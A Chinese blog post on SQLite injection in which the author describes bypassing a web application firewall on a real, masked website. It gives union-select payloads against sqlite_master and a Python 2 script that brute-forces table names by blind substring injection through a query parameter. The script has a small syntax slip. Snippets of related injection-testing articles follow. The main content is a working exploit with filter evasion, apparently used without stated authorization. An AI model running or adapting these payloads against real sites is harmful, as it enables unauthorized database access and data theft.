Sqlite注入测试

测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:

取得sqlite数据库里所有的表名

查询table,type 段是‘table‘,name段是table的名字,

so: select name from sqlite_master where type=‘table‘ order by name;

查询一条记录:select name from sqlite_master where type=‘table‘ order by name limit 0,1

sqlite_version(*) 返回SQLite的版本

与MySQL5.x类似的,Sqlite存在与information_schema类似的?一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,?较有价值的是sql字段

union select 1,sql,2,3 from sqlite_master

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2

payloads = ‘[email protected]_.abcdefghijklmnopqrstuvwxyz‘

header = { ‘User-Agent‘ : ‘Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)‘  }
values={}
print ‘Start to retrive user:‘
user= ‘‘

for i in range(1, 15):
    for payload in payloads
        values[‘fromCity‘]="xxx‘/**a*/and/**a*/"+"substr((select name from sqlite_master where type=‘table‘ order by name limit 0,1),%s,1)=‘%s‘--" %(i,str(payload))

        data = urllib.urlencode(values)
        url = "http://www.xxxx.com/xxxx.aspx"
        geturl = url+‘?‘+data
        request = urllib2.Request(geturl,headers=header)
        response = urllib2.urlopen(request,timeout=5)

        result=response.read()
        print ‘.‘,
        if result.count(‘HO1110‘)>0:
            user += payload
            print ‘\n\n[in progress]‘, user,
            break

print ‘\n\n[Done]  user is %s‘ % user

参考文章:

PHP/Sqlite下常见漏洞浅析:http://www.2cto.com/Article/201410/342032.html

时间: 2024-10-01 07:03:49

Sqlite注入测试的相关文章

通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

0x1:工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2:步骤说明 配置Burp Suite和浏览器. 这一步比较简单,主要是用来抓取用来sql注入的信息. 在Burp中设置proxy代理:127.0.0.1:8080,配置浏览器使用代理,这样浏览器的request信息就可以被Burp抓取了. 抓取登录信息 在Burp的Proxy界面可以抓取到浏览器访问的信息,如

java web sql注入测试(3)---现象分析

那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用拼接方式的sql,都可以防止该类问题的发生. 一般情况,如果测试人员了解dao层的具体设计,如果使用的就是非拼接方式的,基本是可以拦截大部分这些存在问题的sql了.而如果使用的是拼接方式,就可以好好的设计测试用例,进行测试了. 那又为什么非拼接方式就可以有效的防止SQL注入测试呢? 修改上部分核心代

SQL注入测试平台 SQLol -1. 简介与安装

最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. SQLol is now part of the Magical Code Injection Rainbow framework at http://github.com/SpiderLabs/MCIR and the standalone version will no longer be m

使用Burpsuite辅助Sqlmap进行POST注入测试

原文地址:http://www.freebuf.com/tools/2311.html 我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况. 这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易. 1. 浏览器打开目标地址 http://testasp.vulnweb.com/Login.asp2. 配置burp代理(127.0.0.1:8080)以拦截请求3. 点击login表单的submit按

如何防范SQL注入——测试篇(转)

在上一篇文章<如何防范SQL注入-编程篇>中,我们讲了对于程序员而言,如何编码以防范代码存在SQL注入漏洞,那么,对于测试人员来说,如何测试SQL注入漏洞是否存在呢? 首先,我们将SQL注入攻击能分为以下三种类型: Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上: Out-of-band:数据通过不同于SQL代码注入的方式获得(譬如通过邮件等) 推理:这种攻击是说并没有真正的数据传输,但攻击者可以通过发送特定的请求

SQL注入测试平台 SQLol -5.DELETE注入测试

访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [username] = ['1'] 几个位置都可能存在注入,这里只演示一种. 下面演示注入到不同位置的方法. 一.String in WHERE clause 构造POC: ' or updatexml(1,concat(0x7e,(database()),0x7e),0) or ' 获取数据库 二

SQL注入测试平台 SQLol -3.INSERT注入测试

访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([username], isadmin) VALUES (['1'], [0]) 接收的参数可能拼接到上述语句中[]的任一个位置. 在这里我们一般使用 1.报错注入 2.盲注(布尔类型.时间延迟类型) 有的注入点可以同时使用多种方法注入,这里只演示一种. 下面演示注入到不同位置的方法. 一.Value(stri

SQL注入测试平台 SQLol -2.SELECT注入测试

前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. slect模块,有输入处理和输出处理,可以配置不同的sql注入情况,这里先以最简单的,不做任何输入处理的情况进行测试,慢慢进行深入,sql配置如下图: 1.输入测试语句 2.显示完整sql语句,方便构造 3.选择注射位置(分别8中不同的注射位置,下面我们以注射位置进行分类测试) 一.WHERE 子句里的字符

sql注入攻击与防御第二版读书笔记二——SQL注入测试

寻找SQL注入 该阶段的主要目标是识别服务器响应中的异常并确定是否由SQL注入漏洞产生,随后确定在服务器端运行的SQL查询的类型(select,update,insert或delete),以及将攻击代码注入查询中的位置(比如from,where或者order by等) 我们需要关注:get,post,cookie,host,referer,useragent. 理解并利用SQL注入漏洞所涉及的主要技术包括:在心里重建开发人员在Web应用中编写的代码以及设想远程SQL代码的内容.如果能想象出服务器